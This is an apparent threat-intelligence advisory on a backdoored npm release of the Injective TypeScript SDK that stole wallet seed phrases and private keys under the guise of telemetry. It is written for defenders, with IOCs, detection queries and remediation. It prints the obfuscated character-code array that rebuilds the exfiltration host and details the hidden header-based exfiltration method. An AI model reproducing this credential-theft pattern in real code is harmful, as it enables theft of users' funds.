@injectivelabs/sdk-ts Supply Chain Backdoor — Wallet Credential Theft Disguised as Telemetry

@injectivelabs/sdk-ts Supply Chain Backdoor (TL-2026-2366) is a critical-severity supply-chain compromise scored CVSS 9.3, first published 2026-07-09. It has no confirmed attribution, affects Injective Labs @injectivelabs/sdk-ts, maps to 11 MITRE ATT&CK techniques (T1027, T1036, T1048), and is covered by 9 detection rules and 21 indicators of compromise.

Key facts for TL-2026-2366

Threat ID
TL-2026-2366
Severity
CRITICAL
CVSS
9.3
Status
ACTIVE
Category
SUPPLY_CHAIN
First published
2026-07-09
Last reviewed
2026-07-09
Attribution confidence
LOW
Motivation
FINANCIAL
Target sectors
cryptocurrency, blockchain, fintech, defi, web3, software-development
Target regions
Global
Detection rules
9
Indicators of compromise
21

Malware and tooling in @injectivelabs/sdk-ts Supply Chain Backdoor

Malware and tooling: injective-sdk-telemetry-backdoor

On July 8, 2026, a malicious version (1.20.21) of the npm package @injectivelabs/sdk-ts was published after an attacker compromised the maintainer account thomasRalee and pushed three commits directly to the main branch of injective-ts. The malicious code hooked PrivateKey.fromMnemonic() and PrivateKey.fromHex() to exfiltrate BIP-39 mnemonic seed phrases and raw private keys, base64-encoded inside the X-Request-Id HTTP header of POST requests to a dynamically-constructed C2 domain mimicking a legitimate Injective testnet gRPC-Web node. The package has ~175,000 monthly downloads; the malicious version was live for ~49 minutes before being reverted. The C2 endpoint remained live and accepting requests at publication.

How @injectivelabs/sdk-ts Supply Chain Backdoor works

## Incident Overview

On July 8, 2026, an attacker compromised the GitHub and npm account of thomasRalee (thomas.leera@gmail.com), an established maintainer of the @injectivelabs/sdk-ts SDK — the core TypeScript library for the Injective blockchain ecosystem (~175,000 monthly downloads, ~50,000 weekly). The attacker pushed three commits directly to the main branch of the InjectiveLabs/injective-ts repository, adding a 79-line file (src/utils/key-derivation-telemetry.ts) that disguised a credential-stealing backdoor as anonymous SDK telemetry. The malicious version (1.20.21) was published to npm at 20:59:28 UTC via the repository's own GitHub Actions OIDC trusted-publisher workflow (run 28975012939). The attacker simultaneously published 17 sibling @injectivelabs/* packages at 1.20.21, each pinned to the compromised SDK, creating a transitive dependency exposure vector.

## Attack Vector: Maintainer Account Compromise

The attacker gained access to the account of thomasRalee, not a newly created throwaway account but a trusted contributor with established commit history and npm publishing rights. The malicious commits were authored and pushed under thomasRalee's identity with no associated pull request, indicating the attacker had either direct push permissions or bypassed branch-protection rules. The first suspicious activity was a test branch called test-backdoor-check (~18:06 UTC) used to verify write access. The three malicious commits were performed from a machine in the UTC-4 timezone — a timezone scatter-plot analysis showed this was "a timezone never previously used by this user," strongly suggesting a compromised maintainer account rather than an insider.

## Malicious Code: The key-derivation-telemetry.ts Backdoor

The 79-line payload was added at src/utils/key-derivation-telemetry.ts and compiled into dist/esm/accounts-jQ1GSgaW.js and dist/cjs/accounts-Cy0p4lLW.cjs. It was wired into two canonical wallet-construction static methods on the PrivateKey class:

- **PrivateKey.fromMnemonic(words)** — Immediately after the method signature, the attacker inserted trackKeyDerivation('fm', words), capturing the full BIP-39 mnemonic seed phrase (12 or 24 words). This is the master secret for every wallet address derivable from it. - **PrivateKey.fromHex(privateKey)** — The attacker inserted trackKeyDerivation('fh', typeof privateKey === 'string' ? privateKey : 'bytes'), capturing the raw hex private key. If the input was a Uint8Array byte array, the string 'bytes' was sent instead (the full hex key is still passed when the caller converts bytes to hex before calling fromHex, which both EthSecp256k1Wallet.fromKey() and DirectEthSecp256k1Wallet.fromKey() do). - **PrivateKey.generate()** — Indirectly affected because it internally creates a mnemonic and calls fromMnemonic(), meaning a freshly generated wallet could be queued for exfiltration before the caller received the key object.

The MsgBroadcasterWithPk class (transaction broadcaster) imports PrivateKey and calls fromHex() when options.privateKey is not already a PrivateKey object, extending the reach beyond direct wallet-loading code.

The file opened with a deliberately misleading JSDoc comment: "Key derivation telemetry — collects anonymized usage metrics for SDK optimization" and the commit was labeled "chore: add key derivation telemetry for SDK usage analytics" to appear innocuous during code review.

## Exfiltration Mechanism

Captured secrets were pushed into an in-memory queue with a method prefix and timestamp: _q.push(method + ':' + value + ':' + Date.now()). A 2-second debounce timer (setTimeout(..., 2000)) batched multiple derivation events, joining them with pipe characters. On flush:

1. The joined string was base64-encoded: _enc(btoa(value)) 2. The encoded payload was placed in the X-Request-Id HTTP header of a fetch() POST request 3. The request used Content-Type: application/grpc-web+proto to mimic the SDK's normal gRPC-Web traffic 4. The request body was empty (to evade shallow inspection) 5. In browser environments, keepalive: true was set so the request completed even if the page unloaded 6. All errors were silently swallowed with .catch(() => {}) — the backdoor never throws, never logs, never surfaces to the calling application 7. In Node.js environments without fetch(), the code fell back to https.request with the same header shape

## C2 Infrastructure

The C2/exfiltration endpoint was obfuscated as a 48-element JavaScript character-code array:

const _e = [116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46, 99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106, 101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107]; const _d = () => _e.map((x) => String.fromCharCode(x)).join(''); const _ep = 'https://' + _d() + '/';

Decoded: https://testnet.archival.chain.grpc-web.injective.network/

This domain masquerades as a legitimate Injective testnet archival gRPC-Web node. The official testnet endpoint is testnet.sentry.chain.grpc-web.injective.network; the archival subdomain is not publicly documented, but it sits inside the official injective.network domain ecosystem. SlowMist observed the domain resolving to 15.235.87.88 (OVH-Hosting range) during their investigation, with DNS results varying by location and time. Datadog confirmed the endpoint was still accepting requests at publication — they sent a sample payload and received a grpc-status: 12 / "malformed method name: \"/\"" response, consistent with a live gRPC-Web gateway of the same type as Injective's official testnet endpoints.

Note on domain discrepancy: The initial GitHub issue #697 reporter identified the exfiltration destination as hexhole.injective.network, but Datadog's independent reverse-engineering of the code confirmed the runtime-reconstructed hostname is testnet.archival.chain.grpc-web.injective.network. Both domains are included as IOCs.

## Scope and Impact

- **Package downloads**: ~175,000 monthly; ~50,000 weekly; malicious version downloaded ~310 times per official npm stats - **Exposure window**: ~49 minutes (20:59:28 UTC — 21:48:03 UTC on July 8, 2026) - **Directly compromised**: 1 package (sdk-ts) - **Transitive exposure**: 17 sibling packages published at 1.20.21 pinning the malicious SDK - **Dependent packages**: 87 direct dependents; cumulative ~112,000 downloads across the ecosystem - **Impact**: Complete wallet compromise — any BIP-39 mnemonic or private key passed through the affected version during the window must be treated as compromised. The attacker can derive all wallet addresses and keys from the stolen seed phrase and drain funds. - **No CVE assigned**: The Snyk advisory SNYK-JS-INJECTIVELABSSDKTS-17911353 (CVSS 9.3 Critical, CWE-506 Embedded Malicious Code) is the primary vulnerability identifier. Snyk labels the exploit maturity as "Attacked" — active exploitation in the wild.

## Detection

Datadog Code Security (Library Inventory) query: library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)

Datadog Log Management hunt query: @dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*

Behavioral indicators: 1. PrivateKey.fromMnemonic() followed by a POST to a gRPC-Web endpoint pattern 2. PrivateKey.fromHex() followed by a POST to the same endpoint 3. Empty-body POST with Content-Type: application/grpc-web+proto and a high-entropy (base64-looking) X-Request-Id header 4. Function names trackKeyDerivation, _enc, _send, _flush appearing in the runtime

## Remediation

- Upgrade all @injectivelabs packages to 1.20.23 or later (clean release) - Treat any wallet mnemonic or private key passed through the affected version as compromised — rotate keys and migrate funds immediately - Audit lockfiles and package-manager caches for @injectivelabs/sdk-ts@1.20.21 - Search egress/proxy/DNS logs for the exfiltration domain and the X-Request-Id header pattern - The malicious 1.20.21 has been deprecated on npm but not removed; GitHub release artifacts remain available

MITRE ATT&CK techniques used in TL-2026-2366

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading

Exfiltration

T1048 Exfiltration Over Alternative Protocol; T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol; T1567 Exfiltration Over Web Service

Execution

T1059 Command and Scripting Interpreter; T1059.007 JavaScript

Command and Control

T1071 Application Layer Protocol; T1071.001 Web Protocols

Initial Access

T1195 Supply Chain Compromise

initial-access

T1195.002 Compromise Software Supply Chain

Affected products and versions in @injectivelabs/sdk-ts Supply Chain Backdoor

  • Injective Labs — @injectivelabs/sdk-ts
    Vulnerable versions: 1.20.21
    Fixed in: 1.20.23
  • Injective Labs — @injectivelabs/wallet-base, wallet-core, wallet-cosmos, wallet-private-key, wallet-evm, wallet-trezor, wallet-cosmostation, wallet-ledger, wallet-wallet-connect, wallet-magic, wallet-strategy, wallet-turnkey, wallet-cosmos-strategy, utils, networks, ts-types, exceptions
    Vulnerable versions: 1.20.21 (transitively pinning sdk-ts@1.20.21)
    Fixed in: 1.20.23

Remediation for @injectivelabs/sdk-ts Supply Chain Backdoor

Patches

  • Upgrade all @injectivelabs packages to version 1.20.23 or later (clean release that removes the exfiltration code)

Immediate actions

  • Treat any wallet mnemonic or private key passed through @injectivelabs/*@1.20.21 as compromised; rotate keys and migrate funds to freshly-generated wallets immediately
  • Scan package-lock.json / yarn.lock / pnpm-lock.yaml and caches for @injectivelabs/sdk-ts and all 17 sibling packages pinned at 1.20.21
  • Hunt egress/proxy/DNS logs for testnet.archival.chain.grpc-web.injective.network and hexhole.injective.network
  • Hunt for empty-body POST requests with Content-Type: application/grpc-web+proto and a base64-looking X-Request-Id header
  • Verify npm SRI hash sha512-TMEWc0Hw2zA38HnCsLiZPWiwz4mRcDg94B5TDUAolQIXKsnY6xrE61iyffP0WuNZpQTrePCYZXuQFYaRQHFPPA== against any cached sdk-ts@1.20.21 tarball

Workarounds

  • Override transitive pins to >=1.20.23 via npm overrides / yarn resolutions / pnpm overrides to block the compromised version from being resolved
  • Deprecate or yank @injectivelabs/sdk-ts@1.20.21 from internal registries and CI caches

Longer-term hardening

  • Enforce branch protection requiring pull requests with mandatory review for pushes to main/master
  • Adopt npm provenance attestation and audit trusted-publisher OIDC workflows for tamper evidence
  • Implement SCA / dependency scanning with drift-aware lockfile audit (Socket, Snyk, JFrog Xray)
  • Pin exact dependency versions and use registry integrity hashes (SRI) for production builds
  • Monitor for maintainer-account anomalies: unusual commit timezones, direct pushes to main, out-of-band version bumps
  • Audit all commits pushed by maintainers outside of PR workflows, even under trusted identities

Weaknesses (CWE) in @injectivelabs/sdk-ts Supply Chain Backdoor

CWE-506

Timeline of @injectivelabs/sdk-ts Supply Chain Backdoor

  • Clean @injectivelabs/sdk-ts@1.20.23 published at 21:48:03 UTC; malicious 1.20.21 flagged as 'compromised' and deprecated on npm (not removed from the registry); the backdoor was live for approximately 49 minutes; ~310 downloads recorded before deprecation
  • The legitimate maintainer (thomasRalee) detects the breach; revert commit 7c4b1a092d8cbbcda469bda5a88db2a742d15b4a titled 'revert: exfiltration telemetry' pushed at 21:16 UTC, removing the payload and all call sites
  • Security researchers (Socket, Ox Security, StepSecurity) and community flag the release; GitHub issue #697 opened by reporter nullcharb documenting trackKeyDerivation('fm', words)/('fh', privateKey) exfiltration to a disguised Injective-lookalike endpoint
  • Malicious @injectivelabs/sdk-ts@1.20.21 published to npm at 20:59:28 UTC via the repository's GitHub Actions OIDC trusted-publisher workflow (run 28975012939); 17 sibling @injectivelabs packages also published at 1.20.21, each pinning the compromised sdk-ts as a dependency
  • Two follow-up commits pushed directly to main: fd105db9073a21a3b58d5bd32622204ec8b57993 (formatting fix for CI lint, 20:48 UTC) and 5486f13e799d9c90095c5f581a04ad867d768f66 (version bump triggering CI publish, 20:54 UTC); release commit c82639921b186d09238817764faf86bc838355d4 at 20:56:33 UTC
  • First malicious commit 01219285b16ce85c70cdf47a71a551ff5e41f1ed pushed directly to main — adds src/utils/key-derivation-telemetry.ts (79 lines) and wires trackKeyDerivation('fm', words) / trackKeyDerivation('fh', privateKey) into PrivateKey.fromMnemonic() and PrivateKey.fromHex() (20:24 UTC)
  • Attacker, using the compromised thomasRalee account, creates a test branch called test-backdoor-check and makes suspicious commits to verify write access to the InjectiveLabs/injective-ts repository (~18:06 UTC)
  • Snyk publishes advisory SNYK-JS-INJECTIVELABSSDKTS-17911353 (CVSS 9.3 Critical, CWE-506 Embedded Malicious Code), noting active exploitation attempts in the wild; BleepingComputer and other outlets cover the incident; the malicious build files are fingerprinted
  • Datadog Security Labs publishes full reverse-engineering analysis — decodes the runtime-reconstructed C2 hostname testnet.archival.chain.grpc-web.injective.network from the 48-element char-code array; confirms the X-Request-Id header exfiltration mechanism and that the endpoint was still accepting gRPC-Web requests (received grpc-status: 12 response)
  • SlowMist Threat Intelligence reports the exfiltration domain resolved to 15.235.87.88 (OVH-Hosting range) during their investigation; notes DNS results vary by query location and time, and that the domain sits within Injective's official domain ecosystem — no evidence the official infrastructure itself was compromised
  • JFrog Research publishes deep code-path analysis: confirms the 2-second debounce flush, base64 X-Request-Id transport, call-path reachability via MsgBroadcasterWithPk and EthSecp256k1Wallet, and the full list of 18 affected packages; JFrog Curation flags all hijacked packages via immaturity policy

Sources cited for @injectivelabs/sdk-ts Supply Chain Backdoor

More in supply chain

Detection coverage for TL-2026-2366

As of 2026-07-09, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2366 across Splunk SPL, Microsoft KQL and Sigma, covering 21 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats